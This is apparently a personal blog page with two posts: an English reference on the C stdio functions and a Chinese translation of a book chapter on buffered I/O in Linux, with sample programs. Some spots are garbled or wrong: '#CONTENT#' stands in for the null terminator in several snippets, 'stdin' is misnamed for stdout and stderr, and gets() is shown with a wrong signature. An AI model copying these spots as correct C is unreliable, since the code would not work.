immicf
Standard Input/Output Function
immicf 发表于 2009-04-11 14:57:26
Predefined Types and Values - FILE, EOF, NULL and size_t
FILEis a datatype which holds information about an open file.EOFis a value returned to indicate end-of-file (though is not used exclusively for that purpose) and is required by ANSI C to be a negative integral constant expression and is traditionally set to-1.NULLis set to the value of the null pointer constant0BUFSIZis an integer constant which specifies an "appropriate" size for file I/O buffers.size_tis an unsigned integral type which is large enough to hold any value returned bysizeof
Preopened File Streams - stdin, stdout, and stderr
FILE *stdinstdinis associated with a user's standard input stream.
FILE *stdoutstdinis associated with an output stream used for normal program output.
FILE *stderrstdinis associated with an output stream used for error messages.
Open File - fopen and freopen
FILE *fopen(const char *path, const char *mode)fopenopens the file designated by the character stringpathand associates it with a stream. Themodestring should begin with one of the following sequences:r- open an existing file for reading, starting at the beginning of the file.w- truncate an existing file to zero length or create a text file for writing, starting at the beginning of the file.a- open or create for writing at end of text file.r+- open an existing file for reading and writing, starting at the beginning of the file.w+- truncate an existing file to zero length or create a text file for reading and writing, starting at the beginning of the file.a+- open for reading and writing at end of file or create for reading and writing.
- The
modestring may include abas either the second or third character to indicate a binary file. - The
modestring may also contain other characters after the above modes, which are used in an implementation-defined manner. - If a file is opened for update (the
+mode), an output operation may not be followed by an input operation without flushing the buffer (fflush())) or repositioning (fseek(),fsetpos,rewind), and an input operation may not be followed by an output operation without flushing the buffer or repositioning unless the input operation has reached end-of-file. - If
fopensucceeds, aFILEpointer is returned. Otherwise,NULLis returned anderrnois set.
FILE *freopen(const char *pathname, const char *mode, FILE *stream)freopenbehaves exactly likefopenexcept that it associates the newly opened file withstreamrather than creating a new stream.freopenis primarily used to associate a new file with one of the standard text streams (stdin,stdout, orstderr).
Flush File Buffer - fflush
int fflush(FILE *stream)fflushforces any buffered output to be written, but does not close the stream.- If
streamis a null pointer,fflushflushes all of a process' open output streams (at least on UNIX systems) - If the operation succeeds,
fflushreturns 0. Otherwise,EOFis returned anderrnois set.
Close File - fclose
int fclose(FILE *stream)fclosecauses any buffered output to be written (possibly usingfflush) and then closes the stream.- Subsequent attempts to use
streamin any routine other thanfreopenwill result in errors. - If the operation succeeds,
fclosereturns 0. Otherwise,EOFis returned anderrnois set.
Check or Clear File Status - feof, ferror and clearerr
int feof(FILE *stream)feofchecks the end-of-file indicator forstreamand returns non-zero if it is set.- Note that even if the last character in a file has been read, an end-of-file condition does not exist until a request is made to read the character after the last character.
int ferror(FILE *stream)ferrorchecks the error indicator forstreamand returns non-zero if it is set.
void clearerr(FILE *stream)clearerrclears the end-of-file and error indicators forstream.- Once an end-of-file or error indicator has been set, it is not reset until
clearerris called (with the exception that file repositioning functions clear the end-of-file indicator.)
Read Character from File - getc, fgetc and getchar
int fgetc(FILE *stream)fgetcreads the next available character from the input streamstreamand returns it as anint
int getc(FILE *stream)getcis identical in function tofgetcbut is usually implemented as a macro (which means thatstreammay be evaluated more than once, so it should not be an expression with side effects.)
int getchar(void)getcharreads the next available character fromstdinand is typically implemented asgetc(stdin)(which means it is a macro with all the problems ofgetc.)
- Errors and End-Of-File
- If
streamorstdinis at end-of-file or a read error occurs, these routines returnEOF(anderrnois set if an error occurs.)feoforferrormust therefore be used to distinguish between the two conditions.
- If
Write Character to File - putc, fputc and putchar
int fputc(int c, FILE *stream)fputcwritescto the output streamstreamas anunsigned charand returns the character as anint. If an error occurs,EOFis returned anderrnois set.
int putc(int c, FILE *stream)putcis identical in function tofputcbut is usually implemented as a macro (which means thatstreamandcmay be evaluated more than once, so they should not be expressions with side effects.)
int putchar(int c)putcharwritesctostdoutand is typically implemented asputc(stdout)(which means it is a macro with all the problems ofputc.)
Push Character Back into Buffer - ungetc
int ungetc(int c, FILE *stream)ungetcpushescback onto the input streamstream, so that it will be returned by a subsequent read ofstream.- Pushed back characters are read in reverse order.
- If a file repositioning function (
fseek(),fsetpos,rewind) is used, any pushed back characters are lost. ungetcdoes not affect the contents of the file pointed to bystream- One character of pushback is guaranteed.
- Attempts to push
EOFhave no effect onstreamand returnEOF
Read String from File - fgets and gets
char *fgets(char *s, int n, FILE *stream)fgetsreads characters fromstreamand stores them in the string pointed to bys.- Reading stops when a newline character is seen, end-of-file is reached or
n-1characters have been read, and'#CONTENT#'s(after any newline character.) is appended to - If end-of-file occurs before any characters have been read,
fgetsreturnsNULLand the contents ofsare unchanged. - If an error occurs at any time during the read operation,
fgetsreturnsNULLand the contents ofsare undefined. - Otherwise,
fgetsreturnss
char *gets(char *s, FILE *stream)getsis similar tofgets, but is much more dangerous.getsdoes not store a newline character.- More importantly,
getsassumes thatsis infinitely long, allowing sufficiently knowledgeable programmers to worm their way inside the program.
Write String to File - fputs and puts
int fputs(const char *s, FILE *stream)fputswrites the null-terminated stringsto the output streamstream.- If an error occurs,
fputsreturnsEOF. Otherwise, is returns a nonnegative integer.
int puts(const char *s)putswrites the null-terminated strings, followed by a newline character, to thestdoutoutput stream.
Read Binary Data from File - fread
size_t fread(void *ptr, size_t siz, size_t num, FILE *stream)freadreads up tonumobjects, eachsizbytes long, from input streamstream, storing them in the memory pointed to byptr.- The number of objects read is returned.
- If an error occurs, zero will be returned.
- If end-of-file is reached, the value returned will be less than
num(and may be zero, in which casefeoforferrorshould be used to distinguish between the two conditions.)
Write Binary Data to File - fwrite
size_t fwrite(const void *ptr, size_t siz, size_t num, FILE *stream)fwritewrites up tonumobjects, eachsizbytes long, from the memory pointed to byptrto the output streamstream.- The number of objects written is returned.
- If an error occurs, zero will be returned.
Read Formatted Input - scanf, fscanf, sscanf
int scanf(const char *format, ...)int fscanf(FILE *stream, const char *format, ...)int sscanf(const char *str, const char *format, ...)
Write Formatted Output - printf, fprintf, sprintf
int printf(const char *format, ...)- See printf page
printfwrites to thestdoutoutput stream.
int fprintf(FILE *stream, const char *format, ...)fprintfwrites to output streamstream.
int sprintf(const char *str, const char *format, ...)sprintf"writes" its output to the character stringstr(followed by a terminating'#CONTENT#'.)
- All three functions return the number of characters written (not including the terminating
'#CONTENT#'forsprintf)
File Position - fgetpos, fsetpos, rewind, fseek, and ftell
int fgetpos(FILE *stream, fpos_t *pos);fgetposstores the value of the current file position indicator forstreaminpos.posis an implementation-defined type which may be integral or may be a complex structure.- If an error occurs, a non-zero value is returned and
errnois set.
int fsetpos(FILE *stream, fpos_t *pos)fsetpossets the file position indicator forstreamto the position indicated bypos.- If an error occurs, a non-zero value is returned and
errnois set. - If
fsetpossucceeds, the end-of-file indicator is cleared.
void rewind(FILE *stream)rewindsets the file position indicator forstreamto the beginning of the file.
int fseek(FILE *stream, long offset, int whence)fseeksets the file position indicator forstream. The new byte position is obtained by addingoffsetto the position specified bywhence:- If
whenceis set to SEEK_CUR, the offset is computed from the current position in the file. - If
whenceis set to SEEK_SET, the offset is computed from the beginning of the file. - If
whenceis set to SEEK_END, the offset is computed from the end of the file.- SEEK_CUR, SEEK_SET, and SEEK_END are all defined in <stdio.h>.
- If
fseekis usually applied to binary files.
long ftell(FILE *stream)ftellreturns the current file position forstream.- For binary files, the value returned is the number of bytes from the beginning of the file to the current file position.
- For text files, the value is implementation-defined, but is guaranteed to be useable in
fseekand0Lmust represent the beginning of the file.
Alter File Buffer Size - setbuf and setvbuf
void setvbuf(FILE *stream, char *buf, int buftype, size_t bufsize)setvbufsets the type, size and location of the buffer forstream.- The three types of buffering available are:
- _IOFBF causes I/O to be block buffered, meaning that bytes are saved up and written when
bufsizehas been reached. - _IOLBF causes I/O to be line buffered, meaning that the buffer is written when either a newline character is saved to the buffer or when
bufsizehas been reached. - _IONBF means that no buffering is done; everything is immediately written.
- _IOFBF causes I/O to be block buffered, meaning that bytes are saved up and written when
- If
bufis non-null, it is assumed to be at leastbufsizebytes long and will be used instead of the automatically created buffer.- The predefined constant BUFSIZ is the recommended value for the buffer size.
- If
bufisNULL, the stream is completely unbuffered.
setvbufcan safely be called after a stream has been opened but before any data are read or written.setvbufreturnsEOFon error.
void setbuf(FILE *stream, char *buf)setbufhas the same effect as
setvbuf(stream, buf, buf ? _IOFBF : _IONBF, BUFSIZ);
Temporary File Functions - tmpfile and tmpnam
FILE *tmpfile(void)tmpfileattempts to create a new file and open it using modewb+.- If the create and open succeed, a
FILEpointer is returned. - If the file could not be opened,
NULLis returned. - The file is automatically deleted when it is closed or when the process terminates.
- Note that this function may create a file which is publicly readable and writable.
char *tmpnam(char *str)tmpnamgenerates a temporary file name which was not in use whentmpnamwas called.- If
stris non-null, the file name is copied to that buffer.stris expected to be at leastL_tmpnamcharacters long.
- If
stris null, a static buffer is used, meaning that subsequent calls totmpnammay overwrite the buffer. - Temporary file names use the path prefix
P_tmpdir. - Both
L_tmpnamandP_tmpdirare defined in <stdio.h>. tmpnamis guaranteed to be able to generate at least TMP_MAX unique temporary file names, where TMP_MAX must be at least 25.- Note that there is a race condition between file name selection and file creation.
- Note also that
tmpnamdoes not create the file and therefore does not ensure the file will be deleted after the program is terminated.
Linux system programming Ch3
immicf 发表于 2009-04-10 07:08:46
带缓冲的I/O
由第一章我们知道,一个文件系统可以抽象为块,块是 I/O 世界的通用语。所有的磁盘操作在某种意思上都是对块进行的。
因此,如果我们能按块大小的整数倍来对齐,从而对 I/O 进行读写操作,那么操作的性能能达到最佳。
增加用于读写的系统调用次数会使性能急剧退化,比如说读1024次每次字节,跟一次性读1024字节相比,后者性能好得多。
甚至一连串对尺寸大于一个块的操作,其性能也是欠佳的,如果每次操作的尺寸不是块大小的整数倍。比如,假设块大小为
1k 字节,选1,130字节作为一欠操作的整块,仍然会比选1,024字节的操作慢。
用户态带缓冲的I/O
那些需要对一般文本进行多次轻量级I/O访问的程序往往应用用户态的带缓冲I/O。
这涉及到用户态的缓冲而不是由内核处理的缓冲,这种缓冲一般由程序人工地或者由库透明地执行。
就像我们在第2章讲过的,为了提高性能,内核会在底层通过缓写和预读来进行数据缓冲。
虽然手段不同,但用户态缓冲机制也是为了提高性能。
考虑一个在用户态执执行程序 dd 的例子:
dd bs=1 count=2097152 if=/dev/zero of=pirate
因为参数 bs = 1,这个命令会从设备 /dev/zero(一个能提供源源不断 0 的虚拟设备)拷贝 2Mbs 到文件pirate,
其形式是2,097,152个字节块。也就是说,它会执行两百万次读和写的操作,每次一个字节。
现在考虑同关2Mbs数据的拷贝,不同的是以1,024字节作为块大小:
dd bs=1024 count=2048 if=/dev/zero of=pirate
该操作拷贝同样 2Mbs 数据至同一个文件,但是只进行了1,024次读和写。
从表3-1可以看到,性能得到了很大提高。
表中,我记录了4次 dd 命令所消耗的时间(通过三种不同的方式),它们的区别仅仅是块的大小。
real time 是程序开始执行到退出花的时间,user time 是用户态执行该程序的时间,system time 是在内核态执行系统调用的时间。
表3-1. 块大小对性能的影响
Block size Real time User time System time
1 byte 18.707 seconds 1.118 seconds 17.549 seconds
1,024 bytes 0.025 seconds 0.002 seconds 0.023 seconds
1,130 bytes 0.035 seconds 0.002 seconds 0.027 seconds
用1,024字节作为块大小与仅仅用1个字节作为块大小相比,前者能大副度提高性能。
然而,上表也表明虽然用大尺寸能减少系统调用,但也有可能会使性能退化,如果这个尺寸不是磁盘块大小的整数倍的话。
尽管1,130字节的需要更少的系统调用,但是它的读写请求最终会产生未对齐的读写请求,
这样的话会使它不如1,024字节的读写请求那么高效。
要想利用这种性能的恩赐,我们需要预先知道很相近的物理块大小。
上表表明这个数字很可能是1,024的整数倍或者能被1,024整除。
在例子 /dev/zero 中,块的大小实际上是4,096字节。
块大小
通常,块大小一般是 512, 1,024, 2,048, 或 4,096 字节。
表3-1表明,以块大小的整数倍或因子为单位进行读写操作,可以取得很好的性能。
这是因为内核和硬件是以块作为语言来进行交流的。因此,以块大小或一个能很整洁安排块的大小为单位,
这样可以保证块对齐的要求,从而避免内核做些雍余的工作。
用系统调用 stat()(见第7章) 或 命令stat(1) 可以很简单地算出给定设备的块大小。
然而大多数时候我们并不需要知道准确的块大小。
当你为 I/O 操作选一个合适的大小时,最重要的目标是不要选类似 1,130 这么蹩脚的数字。
在 Unix 历史上,从来没有块大小为1,130字节的。
选这样的大小会使你第一次以后的读写操作都对不齐。
选择块大小的因子或整数倍,可以防止未对齐的请求。
只要选择的大小能使一切都以块对齐,那么就能得到好的性能,
选择更大整数倍的只会简单地减少系统调用的次数。
User-Buffered I/O | 63
因此,最简单的做法是选典型块大小的整数倍来进行 I/O 操作,比如4,096和8,192字节都不错。
当然,问题在于很少有程序从块的角度出发。大多程序是与域,行以及单个字符打交道的,而不是抽象的块。
如前所述,为了补救这种状况就引入了用户态缓冲机制的I/O。
将要被写的数据会先存入在一个缓冲区里,这个缓冲区位于程序的地址空间。
当缓冲区里的数据大小达到特定的尺寸(缓冲大小)时,整个缓冲区里的内容会被单独的一个写操作写出。
同样的,数据被读入时也是按照块对齐的缓冲区大小进行的。
随着程序响应它尺寸冏异的读请求,大块的缓冲区被一片片瓜分。
最终,当瓜分殚尽时,按块对齐的另一大块数据会被读入缓冲区。
如果缓冲区大小合适的话,可以获得良好的性能效益。
在你的程序里手动实现用户缓冲寄存器是不是不可能的。
其实很多紧要使命的程序正是这么做的。
然而,大多数程序还是利用了流行的标准I/O库(标准C库的一部分),
它提供了一个良好的鲁棒性和功能强大的用户态缓冲机制解决方案。
标准 I/O 库
C标准库提供了标准 I/O 库,通常简称为 stdio,standard I/O library。
stdio反过来又提供了一个与平台无关的用户态缓冲机制解决方案。
不像 FORTRAN 之类的编程语言,除了流控制,算术之类的功能外,
C语言没有对其他更高级的功能提供内置的支持或关键字。
当然也不会对I/O有任何固有支持。
随着C语言的发展,用户开发了一些标准的例程集来提供核心功能,比如字符串处理,数学函数,
时间和日期功能,以及I/O等。
随着时间的过去,这些例程也慢慢成熟了,最终在1989年通过了 ANSI C 标准(C89)的认可,从而成为标准C 库的一部分。
尽管 C95 和 C99 都加了一些新的接口,但标准 I/O 库自从1989年制定以来相对来说没有改变过。
本章剩下的篇幅来讨论用户态缓冲机制的 I/O ,因为它是属于文件 I/O 的,并且是由 C语言标准库实现的。
也就是说文件的打开,关闭,读写的实现都借助于 C 语言标准库。
一个程序是否使用标准 I/O,这个home-rolled? 或者进行系统调用?
开发者要认真权衡程序的需求和行为才能做决定。
C标准总是为每个函数的实现留下一些可扩充的细节,这些函数往往被添加其他功能。
本章包括以后章节中,整理归档了在现代linux系统中,glibc实现的一些接口和行为。
凡是Linux偏离基本标准的地方,会作出提示。
64 | Chapter 3: Buffered I/O
文件指针
标准 I/O 例程不直接操作的文件描述符。
相反,它们利用自己独特的标识,称为文件指针。
在C库中,文件指针映射到文件描述符。
文件指针被表示为指针FILE,它由typedef定义在<stdio.h>中。
在标准I/O里,一个打开的文件被称为流。
流可以打开进行读(输入流),写(输出流) ,或两者兼施(输入/输出流) 。
打开文件
fopen()用来打开文件从而进行读或写操作。
#include <stdio.h>
FILE * fopen (const char *path, const char *mode);
该函数根据给定的模式mode来打开文件path,然后把它和一个流绑定起来。
模式 mode
参数mode指定了怎么打开一个文件,它可以是以下几种:
r
打开文件进行读操作。流指向文件的开始位置。
r+
打开文件进行读和写操作。流指向文件的开始位置。
w
打开文件进行写操作。如果文件已经存在,就把它的长度截断为0。
如果文件不存在,就创建一个新的。流指向文件的开始位置。
w+
打开文件进行读和写操作。如果文件已经存在,就把它的长度截断为0。
如果文件不存在,就创建一个新的。流指向文件的开始位置。
a
打开文件进行追加操作。如果文件不存在,就创建一个新的。流指向文件的尾部。
所有的写操作都会附加到文件。
a+
打开文件进行读以及追加操作。如果文件不存在,就创建一个新的。流指向文件的尾部。
所有的写操作都会附加到文件。
Opening Files | 65
给定的模式也可能包含的字母b,虽然这个值总是被 Linux 忽略.
有些操作系统处理文本文件和二进制文件是不同的,而模式b可以用来指示以二进制模式打开文件。
和所有符合POSIX的系统一样,Linux完全等同地对待文本文件和二进制文件。
一旦成功, fopen()函数返回一个有效的文件指针。
如果失败,则返回 NULL,并设置相应的errno。
例如,下面的代码打文件 /etc/mainfest 进行读操作,并且将它跟流绑定起来。
FILE *stream;
stream = fopen ("/etc/manifest", "r");
if (!stream)
/* error */
通过文件描述符打开流
函数fdopen()可以将一个已经打开的文件描述符(fd)转化为一个流。
#include <stdio.h>
FILE * fdopen (int fd, const char *mode);
函数可以使用的的模式mode同fopen(),而且要符合原本用来打开文件描述符的模式。
需要指明的是 w 和 w+ 不会截断文件。
流在文件中的位置跟文件描述符相关。
一旦一个文件描述符被转化为一个流,I/O不应该再直接操作那个文件描述符(尽管这种做法是合法的)。
请注意,原来的文件描述符不会被复制,而仅仅是与一个新的流绑定起来。
关闭这个流也将关闭相应的文件描述符。
执行成功的话,fdopen()返回一个有效的文件指针;失败则返回 NULL。
比如,下面的代码用系统调用open()打开文件 /home/kidd/map.txt,
然后利用之前的文件描述符建立一个与之相关的流。
FILE *stream;
int fd;
fd = open ("/home/kidd/map.txt", O_RDONLY);
if (fd == −1)
/* error */
stream = fdopen (fd, "r");
if (!stream)
/* error */
66 | Chapter 3: Buffered I/O
关闭流
函数fclose()用来关闭一个流:
#include <stdio.h>
int fclose (FILE *stream);
fclose函数将所有未写入的数据写入stream中,如果出错则返回EOF,并设置相应的errno.
关闭所有流
fcloseall函数关闭与目前进程相关的所有流,包括stdin,stdout,stderr.
#define _GNU_SOURCE
#include <stdio.h>
int fcloseall (void);
在关闭之前,所有的流都会被刷新,该函数总是返回0,这是linux特色。
从一个流中读数据
C标准库实现了很多函数从一个打开的文件中读数据,有常用的,也用罕见的。
本节将讨论其中三个最常用的:一次读入一个字符,一次读一行,以及读二进制数据。
要想从一个流中读数据,这个流在打开时所用的模式必须是有效的,也就是说除了w和a之外的其他模式。
一次读入一个字符
通常情况下,理想的I/O模型是简单地一次只读一个字符。
函数fgetc()刚好实现了这个功能。
#include <stdio.h>
int fgetc (FILE *stream);
该函数返回stream流的下一个字符,返回类型为unsigned char,然后被转换为int类型。
这个类型转换只为了给出错时返回的EOF留出足够的空间范围.
fgetc()的返回值必须存在int里,如果把它存在一个char里将是一个常见但危险的错误。
Reading from a Stream | 67
-----------------------------------
下面的例子从stream中读入一个字符,检查错误,然后以字符格式打印出来:
int c;
c = fgetc (stream);
if (c == EOF)
/* error */
else
printf ("c=%c\n", (char) c);
当然,stream指向的流必须是以可读模式打开的。
把一个字符压回流中
标准I/O提供了一个函数将一个已读的字符放回流中,该功能使你能够“偷窥”一下,
如果流中下一个字符不是你想要的,你还可以把它放回流中。
#include <stdio.h>
int ungetc (int c, FILE *stream);
每次调用该函数都会把 c 强转为unsigned char, 然后压回去流中。
如果调用成功,则返回c;失败则返回EOF。
随后的读操作将会返回c.
如果有多个字符被压回,则它们会以相反的次序被读出,
也就是说,最后被压入的字符第一个返回。
POSIX规定,只能确保一个字符的压回是正确的,并且其间不能有读操作。
有些系统只允许一个字符被压回,Linux 没有对这个数量进行约束,
你其至可以把所有的空间都用上。当然只压回一个字符肯定是成功的。
在调用ungetc()之后,如果你没有进行读操作就进行了文件位置操作(参见本章后面定位文件小节),
可能会导致压回的字符丢失。
这种情况发生在同一进程的多个线程之间,因为它们共享同一个缓冲区。
读入一行
函数fgets()从给定的流中读入一个字符串。
#include <stdio.h>
char * fgets (char *str, int size, FILE *stream);
从stream中最多读取size-1个字符到字符串str中。
该读操作完成时,一个null(#CONTENT#)会写入到str中。
一旦遇到EOF或换行符,就结束读操作。如果读到换行符,那么就把\n存到str中。
调用成功,返回str;失败则返回NULL。
68 | Chapter 3: Buffered I/O
----------------------------------
例如:
char buf[LINE_MAX];
if (!fgets (buf, LINE_MAX, stream))
/* error */
POSIX 在头文件limits.h中定入了LINE_MAX:
这是POSIX行处理接口可以操作的最大值。
Linux 的C 库没有这样的限制,一行可以是任意大小,但是你没办法接触LINE_MAXR 的定义。
需要移植到其他平台的程序可以利用LINE_MAX来保证安全。
这个值在linux上设置的相对很大,因此linux特有的程序不需要担心一行的容量限制。
读二进制串
通常情况下,这种基于行的读操作fgets()是有益的。几乎常常,它也很烦人。
有时候,开发者想使用非回车的分隔符,而有些开发者甚至不想要分隔符。
很少有开发人员想把分隔符存入缓冲区。
回想起来,把换行符存在返回的缓冲区中很少是正确的决定。
用fgetc()来实现fgets()的功能是件很容易的事。
比如,下面的代码从stream读入n-1字节,然后存入str,并在末尾追加一个'#CONTENT#':
char *s;
int c;
s = str;
while (--n > 0 && (c = fgetc (stream)) != EOF)
*s++ = c;
*s = '#CONTENT#';
这段代码可以扩展成读入到由d指定的分隔符后停止,在这个例子中d不能为空字符:
char *s;
int c = 0;
s = str;
while (--n > 0 && (c = fgetc (stream)) != EOF && (*s++ = c) != d)
;
if (c == d)
*--s = '#CONTENT#';
else
*s = '#CONTENT#';
如果将d设为'\n',那么这段代码跟fgets()的行为很相似了,只是前者将换行存入了缓冲区。
Reading from a Stream | 69
-----------------------------------
比起fgets()的实现,这个变种可能会慢一些,因为它反复地调用fgetc().
然而,这种情况跟之前我们说的dd那个例子是不同的。
虽然这段代码要承担额外的函数调用开销,它不承担系统调用开销,
也没有bs=1时,dd例子中未对齐的I/O负担。后者则是更大的问题。
读二进制数据
仅仅一次读入一个字符或一行对有些程序来说是不够的。
有时,开发者需要对复杂的二进制数据进行读写,比如C中的结构。
为此,标准I/O提供了fread():
#include <stdio.h>
size_t fread (void *buf, size_t size, size_t nr, FILE *stream);
调用fread()会从流stream中最多读入 nr 个元素,每个元素 size个字节,然后将它们存入buf指向的缓冲区中。
同时,文件指针会向前移动刚才读入的字节数量。
函数返回值是读入元素的个数(而不是字节数)。 如果返值小于nr,则表明出错或文件结束,
除非调用ferror()和feof()(见后面“错误及文件结束”),否则无法分辨这两种情况。
由于不同的变量大小,对齐,填充,和字节顺序,由一个程序写入的二进制数据对另一个程序是不可读的,
甚至同一个程序在不同机器上也会出现这种情况。
fread()最简单的例子是给定的流stream中读入一个线性的字符串:
char buf[64];
size_t nr;
nr = fread (buf, sizeof(buf), 1, stream);
if (nr == 0)
/* error */
等我们学到与fread()相对的函数fwrite()时再看一些复杂点的例子。
往流中写数据
和读操作一样,标准C语言库定义了许多函数对打开的流文件进行写操作。
本节将关注三个最常用的写操作:写一个单独的字符,写一个字符串和写二进制数据。
这些不同的写操作适合于带缓冲的I/O.
要想往一个流中写数据,这个流必须以适当的模式打开,也就是说除了 r 之外的其他模式。
70 | Chapter 3: Buffered I/O
----------------------------------
对齐问题
所有机器的架构都有数据对齐的要求。
程序员倾向于认为内存只是一个字节数组。
但是,处理器不会从内存中读和写字节大小的块,而是以特定的粒度大小来存取内存,
如2,4,8或16字节。
因为每一个进程的地址空间开始于地址0 ,进程必须从这个粒度大小的整数倍来开始存取数据。
因此,对C语言中的变量存储和读取时必须保持地址对齐。
一般情况下,变量会自然对齐,其中提到的调整的大小对应于C数据类型。
比如,一个32位的整数是以4个字节对齐的,换句话说就是,
int 应该被存储在能被4整除的内存地址上。
对未对准的数据进行访问会产生各种处罚,这些处罚取决于机器架构。
某些处理器可以访问错位的数据,但有大量性能损失。
某些处理器根本不能能这种数据进行访问,任何这样的意图都会引起硬件异常。
更严重的是,有些进程会悄无声息地丢弃低价位,这几乎可以完全肯定会导致意想不到的结果。
通常情况下,编译器会自动地对齐数据,这种对齐对程序员来说是透明的。
处理结构,手动管理内存的执行,将二进制数存入磁盘以及网络通信都会引起对齐的问题。
因此系统程序员应该精通这些问题。
第8章会更加深入地阐述对齐的问题
写一个单独的字符
和函数fgetc()的对应的是fputc():
#include <stdio.h>
int fputc (int c, FILE *stream);
fputc()函数将c指定的字符(强转为unsigned char)写入stream指向的流。
函数执行成功时返回c,否则返回EOF并设置相应的errno.
Use is simple:
使用很简单:
if (fputc ('p', stream) == EOF)
/* error */
该例子将字符p写入流stream,且stream必须是以可写模式打开的。
Writing to a Stream | 71
----------------------------------
写一个字符串
函数fputs()将一整串字符写入流stream中。
#include <stdio.h>
int fputs (const char *str, FILE *stream);
调用fputs()会将str指向的字符串里所有非分隔符之前的内容写入流stream。
成功时fputs()返回一个非负数,否则返回EOF.
下面的例子以追加模式打开一个文件,将给定的字符串写入流stream,然后关闭stream.
FILE *stream;
stream = fopen ("journal.txt", "a");
if (!stream)
/* error */
if (fputs ("The ship is made of wood.\n", stream) == EOF)
/* error */
if (fclose (stream) == EOF)
/* error */
写二进制数据
Individual characters and lines will not cut it when programs need to write complex
data. To directly store binary data such as C variables, standard I/O provides fwrite():
cut it????
标准I/O库提供了函数fwrite()用来直接存储二进制数据,比如C的变量。
#include <stdio.h>
size_t fwrite (void *buf,
size_t size,
size_t nr,
FILE *stream);
调用fwrite()会将buf指向的数据中最多nr个元素写入stream中,每个元素长度为size个字节。
文件指针将向前移动写入的字节数量。
返回值是成功写入的元素个数(而不是字节数)。
返回值小于nr标志着出错了。
带缓冲机制I/O的示例程序
现在我们看一个例子,一个完整的程序,它整合了我们迄今讲到的许多接口。
程序首先定义了结构pirate,然后用它声明了两个变量实例。
程序初始结了其中一个变量,然后通过一个输入出流把它写入磁盘文件中。
72 | Chapter 3: Buffered I/O
通过另一个不同的流,程序将数据读入到另一个结构pirate实例中。
最后,程序打印出结构的内容。
#include <stdio.h>
int main (void)
{
FILE *in, *out;
struct pirate {
char name[100]; /* real name */
unsigned long booty; /* in pounds sterling */
unsigned int beard_len; /* in inches */
} p, blackbeard = { "Edward Teach", 950, 48 };
out = fopen ("data", "w");
if (!out) {
perror ("fopen");
return 1;
}
if (!fwrite (&blackbeard, sizeof (struct pirate), 1, out)) {
perror ("fwrite");
return 1;
}
if (fclose (out)) {
perror ("fclose");
return 1;
}
in = fopen ("data", "r");
if (!in) {
perror ("fopen");
return 1;
}
if (!fread (&p, sizeof (struct pirate), 1, in)) {
perror ("fread");
return 1;
}
if (fclose (in)) {
perror ("fclose");
return 1;
}
printf ("name=\"%s\" booty=%lu beard_len=%u\n",
p.name, p.booty, p.beard_len);
return 0;
}
输出结果当然是原始的数据:
name="Edward Teach" booty=950 beard_len=48
Sample Program Using Buffered I/O | 73
----------------------------------
再次强调,有一点要引起注意的是,由于不同变量的大小,对齐等问题,
由一个程序写入的二进制数据对另一个程序来说可能是不可读的。
也就是说,不同的程序或者同一程序在不同的机器上也许不能正确读出由fwrite()写入的数据。
上面的程序中,unsigned long 的大小可能会有变化,或者填充字节数不同,这些都是要考虑的差异。
只有特定机器上的特定ABI才能保障这些数据都是恒定的。
定位一个流
一般情况下,操纵流指针的当前位置是很有用的。
比如一个应用程序可能正在读一个复杂的基于记录的文件,因此需要不断地跳来跳去。
或者有可能程序需要将文件指针移到文件开头。
不管哪种情况,标准I/O提供了一组接口,其功能等同于系统调用lseek()(见第2章);
这些接口中,最常用的是fseek()函数,它有两个参数:offset和whence.
#include <stdio.h>
int fseek (FILE *stream, long offset, int whence);
调用该函数时,如果whence为SEEK_SET,那么文件指针更新为offset的值;
如果whence为SEEK_CUR,那么文件指针更新为当前位置加上offset的值;
如果whence为SEEK_END,那么文件指针更新为文件未尾加上offset的值。
如果调用成功,fseek()返回0,清除EOF标记,并且使ungetc()失效(如果有的话)。
错误时返回-1,并设置相就的出错位。
最常见的错误信息是非法流(EBADF)和非法的whence参数。
作为选择,标准I/O提供了函数fsetpos():
#include <stdio.h>
int fsetpos (FILE *stream, fpos_t *pos);
该函数将流stream的当前位置设置为pos.
它等价于参数whence为SEEK_SET时调用函数fseek().
调用成功返回0;否则返回-1,并设置相应的出错位。
这个函数(连同其对应的fgetpos(),后面会讲到)是专门针对其他(非UNIX)平台的,这些平台具有复杂的类型来表示流位置。
在这些平台上,该函数是来以一个任意值来设置流位置的唯一途径,因为C语言的 long 大概是不够的。
linux特色的程序没必要使用这个接口,当然如果想要跨平台支持,也可以利用该函数。
标准I/O还提供了一条捷径,rewind():
#include <stdio.h>
void rewind (FILE *stream);
74 | Chapter 3: Buffered I/O
这样调用:
rewind (stream);
将文件位置重置到流的开始。它等价于:
fseek (stream, 0, SEEK_SET);
不同的是前者清除了出错标记。
请注意,rewind()没有返回值,所以不能直接跟判断出误条件打交道。
调用者如果想确认是否出错,则应该在调用之前清除出错标记errno,并在调用之后检查变量errno是否为0.
例如:
errno = 0;
rewind (stream);
if (errno)
/* error */
获取当前流的位置
与lseek()不同,fseek()并不返回更新后的文件位置。
ftell()作为一个单独的接口来实现这个目的,该函数返回文件的当前位置。
#include <stdio.h>
long ftell (FILE *stream);
出错时返回-1,并设置相应的出错标记。
作为选择,标准I/O还提供了fgetpos():
#include <stdioh.h>
int fgetpos (FILE *stream, fpos_t *pos);
调用成功,fgetpos()返回0,并将当前文件位置设置为pos.
失败则返回-1,并设置相应的出错标记。
同fsetpos()一样,fgetpos()是专门为具有复杂文件位置类型的非linux平台提供的。
清除流
标准I/O库提供了一个函数用来将用户缓冲区里的内容写入内核,以确保所有的数据都通过write()写入流中。
这个函数就是fflush():
#include <stdio.h>
int fflush (FILE *stream);
Flushing a Stream | 75
----------------------------------
调用该函数,所有stream指向的流中所有未写的数据均被写入内核。
如果参数stream为NULL,那么进程中所有打开的输入流都会被清除。
调用成功时fflush()返回0,否则返回EOF,并设置相应有出错位。
要想理解fflush()的影响,我们必须明白C库的缓冲区与内核自己的缓冲区之间的区别。
本章所描述的所有函数都作用在驻留在用户空间的由C库维护的缓冲区中,而不是内核缓冲区。
这就是性能优化所在,程序是在用户空间,因此运行的是用户区代码,而不涉及系统调用。
只有在需要访问磁盘或其介质时才会进行系统调用。
fflush()仅仅只是将用户缓冲区的数据写入内核缓冲区。
其效果等同于不使用用户态缓冲区而直接调用write()函数。
但是它不保证这些数据会被物理地写入介质,要完成这个功能可以调用类似fsync()函数(见第二章“同步I/O”)。
最有可能的情况是,你会先调用fflush(),紧接着调用fsync():
这样的话,首先可以确保用户态缓冲区内容都写入内核缓冲区中, 然后再保障内核缓冲的数据被写入磁盘。
出错处理及文件结束(EOF)
